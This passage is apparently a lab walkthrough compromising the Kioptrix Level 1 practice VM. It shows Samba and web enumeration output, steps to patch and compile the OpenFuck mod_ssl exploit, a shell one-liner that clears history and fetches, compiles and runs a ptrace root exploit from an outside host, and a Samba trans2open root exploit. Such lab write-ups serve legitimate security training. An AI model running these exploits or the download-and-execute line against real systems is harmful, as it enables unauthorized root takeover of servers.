S-1-5-21-4157223341-3243572438-1405127623-1037 KIOPTRIX\unix_group.18 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1038 KIOPTRIX\unix_user.19 (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1039 KIOPTRIX\floppy (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1040 KIOPTRIX\unix_user.20 (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1041 KIOPTRIX\games (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1042 KIOPTRIX\unix_user.21 (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1043 KIOPTRIX\slocate (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1044 KIOPTRIX\unix_user.22 (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1045 KIOPTRIX\utmp (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1046 KIOPTRIX\squid (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1047 KIOPTRIX\squid (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1048 KIOPTRIX\unix_user.24 (Local User)
S-1-5-21-4157223341-3243572438-1405127623-1049 KIOPTRIX\unix_group.24 (Local Group)
S-1-5-21-4157223341-3243572438-1405127623-1050 KIOPTRIX\unix_user.25 (Local User)
================================================
| Getting printer info for 192.168.180.135 |
================================================
No printers returned.
enum4linux complete on Wed Jun 29 03:48:46 2016
smbclient -N -L 192.168.180.135
Anonymous login successful
Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]
Sharename Type Comment
--------- ---- -------
IPC$ IPC IPC Service (Samba Server)
ADMIN$ IPC IPC Service (Samba Server)
Anonymous login successful
Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]
Server Comment
--------- -------
KIOPTRIX Samba Server
Workgroup Master
--------- -------
MYGROUP KIOPTRIX
smbclient -L //KIOPTRIX -I 192.168.180.135
nikto -h 192.168.180.135
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.180.135
+ Target Hostname: 192.168.180.135
+ Target Port: 80
+ Start Time: 2016-06-29 03:52:25 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
+ Server leaks inodes via ETags, header found with file /, inode: 34821, size: 2890, mtime: Wed Sep 5 23:12:46 2001
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ mod_ssl/2.8.4 appears to be outdated (current is at least 2.8.31) (may depend on server version)
+ OpenSSL/0.9.6b appears to be outdated (current is at least 1.0.1j). OpenSSL 1.0.0o and 0.9.8zc are also current.
+ Apache/1.3.20 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ OSVDB-27487: Apache is vulnerable to XSS via the Expect header
+ Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-838: Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution. CAN-2002-0392.
+ OSVDB-4552: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839.
+ OSVDB-2733: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542.
+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.
+ ///etc/hosts: The server install allows reading of any system file by adding an extra '/' to the URL.
+ OSVDB-682: /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS). http://www.cert.org/advisories/CA-2000-02.html.
+ OSVDB-3268: /manual/: Directory indexing found.
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-3092: /test.php: This might be interesting...
+ 8345 requests: 0 error(s) and 21 item(s) reported on remote host
+ End Time: 2016-06-29 03:52:32 (GMT-4) (7 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
wfuzz -c -z file,/usr/share/wfuzz/wordlist/general/big.txt --hc 404 http://192.168.180.135/FUZZ
********************************************************
* Wfuzz 2.1.3 - The Web Bruteforcer *
********************************************************
Target: http://192.168.180.135/FUZZ
Total requests: 3036
==================================================================
ID Response Lines Word Chars Request
==================================================================
00540: C=403 10 L 29 W 272 Ch "cgi-bin/"
..."
01657: C=301 9 L 27 W 294 Ch "manual"
..."
02801: C=301 9 L 27 W 293 Ch "usage"
..."
03035: C=404 9 L 31 W 264 Ch "Logs"..."
Exploits:
https://www.exploit-db.com/exploits/764/
Install these:
install the libssl-dev library:
Add the following lines in the exploit code:
Install these:
install the libssl-dev library:
apt-get install libssl-dev
Add the following lines in the exploit code:
#include <openssl/rc4.h>
#include <openssl/md5.h>
Replace the URL with this one:
http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
Change the declaration
unsigned char *p, *end;
to
const unsigned char *p, *end;
Let us compile:
Let us compile:
gcc -o 764 764.c -lcrypto
Let's see if that worked:
./764 0x6a 192.168.180.135 443 -c 50
*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena irc.brasnet.org *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************
Connection... 50 of 50
Establishing SSL connection
cipher: 0x4043808c ciphers: 0x80f8050
Ready to send shellcode
Spawning shell...
Good Bye!
./764 0x6b 192.168.180.135 443
*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena irc.brasnet.org *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************
Establishing SSL connection
cipher: 0x4043808c ciphers: 0x80f8050
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$
bash-2.05$ unset HISTFILE; cd /tmp; wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p;
--07:04:43-- https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
=> `ptrace-kmod.c'
Connecting to dl.packetstormsecurity.net:443... connected!
HTTP request sent, awaiting response... 200 OK
Length: 3,921 [text/x-csrc]
0K ... 100% @ 3.74 MB/s
07:04:44 (3.74 MB/s) - `ptrace-kmod.c' saved [3921/3921]
[+] Attached to 13934
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...
ls
p
whoami
root
Another approach:
Let's see if that worked:
./764 0x6a 192.168.180.135 443 -c 50
*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena irc.brasnet.org *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************
Connection... 50 of 50
Establishing SSL connection
cipher: 0x4043808c ciphers: 0x80f8050
Ready to send shellcode
Spawning shell...
Good Bye!
./764 0x6b 192.168.180.135 443
*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena irc.brasnet.org *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************
Establishing SSL connection
cipher: 0x4043808c ciphers: 0x80f8050
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$
bash-2.05$ unset HISTFILE; cd /tmp; wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p;
--07:04:43-- https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
=> `ptrace-kmod.c'
Connecting to dl.packetstormsecurity.net:443... connected!
HTTP request sent, awaiting response... 200 OK
Length: 3,921 [text/x-csrc]
0K ... 100% @ 3.74 MB/s
07:04:44 (3.74 MB/s) - `ptrace-kmod.c' saved [3921/3921]
[+] Attached to 13934
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...
ls
p
whoami
root
Another approach:
https://www.exploit-db.com/exploits/10/
./10 -b 0 192.168.180.135
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
+ Bruteforce mode. (Linux)
+ Host is running samba.
+ Worked!
--------------------------------------------------------------
*** JE MOET JE MUIL HOUWE
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)
./10 -b 0 192.168.180.135
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
+ Bruteforce mode. (Linux)
+ Host is running samba.
+ Worked!
--------------------------------------------------------------
*** JE MOET JE MUIL HOUWE
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)
Bonus other things to try - let me know what the result was :)
./trans2root.pl -t linx86 -H 192.168.180.132 -h 192.168.180.135
Best Regards,
Yuriy Stanchev/URIX